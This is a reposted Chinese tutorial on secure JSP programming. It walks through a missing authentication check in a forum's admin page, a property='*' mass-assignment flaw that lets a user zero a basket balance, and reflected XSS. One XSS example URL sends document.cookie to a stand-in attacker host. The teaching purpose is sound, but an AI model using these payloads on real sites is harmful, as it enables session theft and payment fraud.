JSP安全編程實例淺析(中級)1
<轉(zhuǎn)載>作者:Stone_Star

Java Server Page(JSP)作為建立動態(tài)網(wǎng)頁的技術(shù)正在不斷升溫。JSP和ASP、PHP、工作機制不太一樣。一般說來,JSP頁面在執(zhí)行時是編譯式,而不是解釋式的。首次調(diào)用JSP文件其實是執(zhí)行一個編譯為Servlet的過程。當瀏覽器向服務(wù)器請求這一個JSP文件的時候,服務(wù)器將檢查自上次編譯后JSP文件是否有改變,如果沒有改變,就直接執(zhí)行Servlet,而不用再重新編譯,這樣,效率便得到了明顯提高。

今天我將和大家一起從腳本編程的角度看JSP的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內(nèi)了。寫這篇文章的主要目的是給初學(xué)JSP編程的朋友們提個醒,從一開始就要培養(yǎng)安全編程的意識,不要犯不該犯的錯誤,避免可以避免的損失。另外,我也是初學(xué)者,如有錯誤或其它意見請賜教。

一、認證不嚴——低級失誤

在溢洋論壇v1.12 修正版中,user_manager.jsp是用戶管理的頁面,作者知道它的敏感性,加上了一把鎖:


if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││
(! session.getValue("UserClass").equals("系統(tǒng)管理員"))) 
{ 
response.sendRedirect("err.jsp?id=14"); 
return; 
}


如果要查看、修改某用戶的信息,就要用modifyuser_manager.jsp這個文件。管理員提交 http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51

就是查看、修改ID為51的用戶的資料(管理員默認的用戶ID為51)。但是,如此重要的文件竟缺乏認證,普通用戶(包括游客)也直接提交上述請求也可以對其一覽無余(密碼也是明文存儲、顯示的)。modifyuser_manage.jsp同樣是門戶大開,直到惡意用戶把數(shù)據(jù)更新的操作執(zhí)行完畢,重定向到user_manager.jsp的時候,他才會看見那個姍姍來遲的顯示錯誤的頁面。顯然,只鎖一扇門是遠遠不夠的,編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。

二、守好JavaBean的入口

JSP組件技術(shù)的核心是被稱為bean的java組件。在程序中可把邏輯控制、數(shù)據(jù)庫操作放在javabeans組件中,然后在JSP文件中調(diào)用它,這樣可增加程序的清晰度及程序的可重用性。和傳統(tǒng)的ASP或PHP頁面相比,JSP頁面是非常簡潔的,因為許多動態(tài)頁面處理過程可以封裝到JavaBean中。

要改變JavaBean屬性,要用到“ ”標記。 下面的代碼是假想的某電子購物系統(tǒng)的源碼的一部分,這個文件是用來顯示用戶的購物框中的信息的,而checkout.jsp是用來結(jié)帳的。


<jsp:useBean id="myBasket" class="BasketBean"> 
<jsp:setProperty name="myBasket" property="*"/> 
<jsp:useBean> 
<html> 
<head><title>Your Basket</title></head> 
<body> 
<p> 
You have added the item 
<jsp::getProperty name="myBasket" property="newItem"/> 
to your basket.   
<br/> 
Your total is $ 
<jsp::getProperty name="myBasket" property="balance"/> 
Proceed to <a href="checkout.jsp">checkout</a>


注意到property="*"了嗎?這表明用戶在可見的JSP頁面中輸入的,或是直接通過Query String提交的全部變量的值,將存儲到匹配的bean屬性中。

一般,用戶是這樣提交請求的: http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342 但是不守規(guī)矩的用戶呢?他們可能會提交: http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

這樣,balance=0的信息就被在存儲到了JavaBean中了。當他們這時點擊“chekout”結(jié)賬的時候,費用就全免了。

這與PHP中全局變量導(dǎo)致的安全問題如出一轍。由此可見:“property="*"”一定要慎用!

三、長盛不衰的跨站腳本

跨站腳本(Cross Site Scripting)攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設(shè)置,破壞用戶的數(shù)據(jù)。跨站腳本攻擊在多數(shù)情況下不會對服務(wù)器和WEB程序的運行造成影響,但對客戶端的安全構(gòu)成嚴重的威脅。

以仿動網(wǎng)的阿菜論壇(beta-1)舉個最簡單的例子。當我們提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie) 便能彈出包含自己cookie信息的對話框。而提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com' 就能重定向到網(wǎng)易。

由于在返回“name”變量的值給客戶端時,腳本沒有進行任何編碼或過濾惡意代碼,當用戶訪問嵌入惡意“name”變量數(shù)據(jù)鏈接時,會導(dǎo)致腳本代碼在用戶瀏覽器上執(zhí)行,可能導(dǎo)致用戶隱私泄露等后果。比如下面的鏈接:
http://www.somesite.com/acjspbbs/dispuser.jsp? name=someuser<;script>document.location=' http://www.hackersite.com/xxx.xxx?'+document.cookie

xxx.xxx用于收集后邊跟的參數(shù),而這里參數(shù)指定的是document.cookie,也就是訪問此鏈接的用戶的cookie。在ASP世界中,很多人已經(jīng)把偷cookie的技術(shù)練得爐火純青了。在JSP里,讀取cookie也不是難事。當然,跨站腳本從來就不會局限于偷cookie這一項功能,相信大家都有一定了解,這里就不展開了。

對所有動態(tài)頁面的輸入和輸出都應(yīng)進行編碼,可以在很大程度上避免跨站腳本的攻擊。遺憾的是,對所有不可信數(shù)據(jù)編碼是資源密集型的工作,會對 Web 服務(wù)器產(chǎn)生性能方面的影響。常用的手段還是進行輸入數(shù)據(jù)的過濾,比如下面的代碼就把危險的字符進行替換:


<% String message = request.getParameter("message"); 
message = message.replace ('<','_'); 
message = message.replace ('>','_'); 
message = message.replace ('"','_'); 
message = message.replace ('\'','_'); 
message = message.replace ('%','_'); 
message = message.replace (';','_'); 
message = message.replace ('(','_'); 
message = message.replace (')','_'); 
message = message.replace ('&','_'); 
message = message.replace ('+','_'); %>


更積極的方式是利用正則表達式只允許輸入指定的字符:


public boolean isValidInput(String str) 
{ 
if(str.matches("[a-z0-9]+")) return true; 
else return false; 
}